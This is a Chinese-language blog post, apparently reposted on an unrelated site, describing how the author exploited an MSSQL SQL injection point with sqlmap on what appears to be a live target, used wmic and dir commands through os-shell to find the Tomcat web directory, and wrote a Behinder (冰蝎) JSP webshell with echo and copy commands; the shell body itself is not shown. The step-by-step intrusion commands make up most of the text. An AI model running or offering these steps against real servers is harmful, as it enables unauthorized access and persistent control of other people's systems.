mssql dba注入点写shell |
您所在的位置:网站首页 › 注入写shell › mssql dba注入点写shell |
某日同事发来一注入点 说是mssql用sqlmap跑可以执行命令,但是用powershell和mstha都无法上线cs,叫我看看。 首先用sqlmap跑一下,发现确实能执行命令,ping了一下dnslog发现不出网。 那么这里考虑写shell,写shell的话首先判断是否站库分离 发现非站库分离,然后就是要找到web目录。 因为是布尔盲注,先执行下面命令看下进程(tasklist数据太多了有点慢这个命令只看进程名) os-shell> wmic process get name发现tomcat7然后使用下面命令查看tomcat目录 os-shell> wmic process where name="tomcat7.exe" get CommandLine执行命令查看webapps os-shell> dir D:\patentnew_tomcat_7\webapps\发现为空文件夹,我们打开这个站找一个名字比较特殊的静态文件。 web肯定在d盘的,然后os-shell执行命令(因为搜索时间较长所有不采用直接回显的方式) os-shell> dir /b/s d:z_6.png > d:\qa1.txt os-shell> type d:\qa1.txtecho写入冰蝎shell(先写入txt看shell内容是否正确写入) os-shell> echo ^^^ > D:\patent\images\login\ssss.txt os-shell> copy D:\patent\images\login\ssss.txt D:\patent\images\login\ssss.jsp冰蝎成功连接 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |